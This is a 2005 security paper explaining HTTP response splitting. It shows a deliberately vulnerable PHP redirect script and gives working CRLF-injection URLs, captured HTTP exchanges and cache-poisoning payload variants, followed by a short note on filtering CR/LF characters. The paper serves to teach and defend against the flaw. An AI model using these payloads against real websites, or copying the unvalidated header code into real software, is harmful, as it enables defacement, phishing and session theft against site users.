HTTP RESPONSE SPLITTING

By Diabolic Crab (dcrab@hackerscenter.com)
http://www.digitalparadox.org

Introduction to HTTP Response Splitting:

This is a fairly new web application vulnerability. It can be used for the following purposes.

Cross site scripting (XSS): This is a very common and old form of vulnerability where it allows the user execution of html or java script code which can then lead to the hijacking of the user's cookie or session. They even allow _javascript code execution and maybe used to exploit other vulnerabilities in browsers with more anonymity.

Cross user defacement: This is a form of temporary defacement where the website, may looked defaced to a particular user. This is used in cases of information, id, or password theft. This enables an attacker to make the website look defaced to a particular single user, thus allowing the attacker to steal session data, cookies. It also allows the attacker to steal login information by forging a fake login screen for the website, thus allowing account compromise.

Web cache poisoning: In this form a rather larger defacement takes place where a cache is poisoned which is used by multiple users, thus making them think the site has been defaced, or that the site they are seeing is the genuine site when its not. In this case the attacker uses a proxy server etc and calls the vulnerable page using it to fool the cache into cacheing the second server response over which the attacker as complete control thus making the website defaced for anyone who uses or shares that cache server or proxy server. Uses for such an attack would vary vastly, some being: Defacement as it causes everyone who uses that cache or proxy to see the website as defaced. The second being phishing, in which by showing a false page loaded by the attacker we can cause many users to give up private credit card numbers, user names, passwords and other confidential information.

Hijacking pages: This allows user access to sensitive information, which might be confidential or not normally accessible to the user. With this the attacker can receive the servers’ response to the client allowing sensitive data from the server to the client to be stolen by the attacker.

Browser cache poisoning: This is similar to XSS, the only difference being that the attacker forces the browser to cache the web page thus forming a long lasting defacement till the browser's cache has been cleared or cleaned.

These kinds of attacks are generally carried out in web applications by injecting malicious or unexpected characters in user input which is then used for a 302 Redirect, in the Location or Set-Cookie header. So in the case of web applications, a code generally such as "\r\n" is injected in one of its many encoded forms. Though this vulnerability is mainly present in web applications it is not limited to them and can be exploited with similar methods over different protocols, as long as user input is present in headers, and there is no validation for all illegal characters. This paper is going to focus on the usage of HTTP response splitting vulnerabilities in the case of web applications. This type of vulnerability being fairly new, I have found it to be present in many large corporate websites, some of which might surprise you, most of them still exist. Well back to the topic,

This kind of attack is mainly possible due to the lack of validation of user input, for characters such as, CR and LF.
CR = %0d = \r
LF = %0a = \n

How it works?:
To first understand how these vulnerabilities work, let us first understand how a normal response to a 302 redirection would be like.

Let’s consider a normal redirect script as so,

```
<?php
header ("Location: " . $_GET['page']);
?>
```

So a request like
http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digitalparadox.org would redirect a user to http://www.digitalparadox.org. Let us take a look under the hood at the headers,

User -to Server Get request

```
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org
HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Server to User 302 response\r\n
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n
[User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n

User to Server Get request for redirected page
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
```

Now the server will respond with a normal 200 Found response and then the user will see the web page www.digitalparadox.org. As you may have also noticed each new line in the HTTP protocol is shown with a \r\n or CR and LF. Thus it is obvious, that by injecting false \r\n or CR and

LF values in the user input followed by a false HTTP Request we can make arbitrary content of our choice show up on the users browser, or cause Cross user defacement, Cache poisoning, Hijack a page, or cause browser cache poisoning. So by now you must have understood how a basic HTTP Response Splitting vulnerability works, and got the overview of what we basically have to do to exploit these vulnerabilities correctly.

So now using such vulnerability as shown above to our advantage would be done something as follows. We use the %0d%0a characters to poison the header so as to attain a temporary state of defacement.

Thus injecting something like,

```
http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
```

Injected Data:

```
%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
```

This can also be written as,

```
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>
```

The HTTP packets sent and received are as so,

User to Server Get request for the vulnerable page

```
GET /~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
```

```
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla
in;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Server to User 302 Found Response

HTTP/1.1 302 Found
[First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK
[Second New response created by attacker begins]
Content-Type: text/html

<html><font color=red>hey</font></html>
[Arbitary input by user is shown as the redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

0
```

As we can see in the exploitation process above, the server runs the normal 302 response, the arbitrary input we gave in the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal web server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.

Cache poisoning:
To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP response will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the cache, as long as the Last-modified header is sent with a date ahead of the current date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache requests will cause non cached websites to be added to the cache.

Some example versions of the cache poisoning exploits for the above vulnerable example are,

Last-Modified example:

```
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
```

Cache-Control example:

```
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
```

Pragma example:

```
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
```

To avoid such HTTP Splitting vulnerabilities parse all user input for CR LF \r\n %0d%0a or any other forms of encoding these or other such malicious characters before using them in any form of HTTP headers. The HTTP Response Splitting vulnerability is a very serious vulnerability and is currently present on many big web sites such as anti-virus agencies, Auction websites, and large Search engine/Chat networks. These vulnerabilities can be used to fool their clients and steal critical information and thus is a very serious threat. It is a very big threat and is not recognized by many current security analysts. In this paper I haven’t gone into deep detail as such papers are already available online (Look in recommendations).

Author:
This paper is by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me. You can find me at, http://digitalparadox.org/ or http://www.hackerscenter.com. Lookout for my soon to come out book on Secure coding with php.

Paper information:
Paper Start Date: Thursday, April 13, 2005
Paper Start Time: 1:01:47 AM
Paper End Date: Thursday, April 13, 2005
Paper End Time: 3:27:10 AM
Pages: 5
Words: 1,415
Characters (no spaces): 9,411
Characters (with spaces): 11,014
Paragraphs: 109
Lines: 251

References:
http://www.securityfocus.com/archive/107/336744
http://www.securityfocus.com/archive/1/271515
http://www.securityfocus.com/archive/1/290872
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Diabolic Crab
Web Security, Research & Development
dP Security
email: dcrab@digitalparadox.org
website: http://www.digitalparadox.org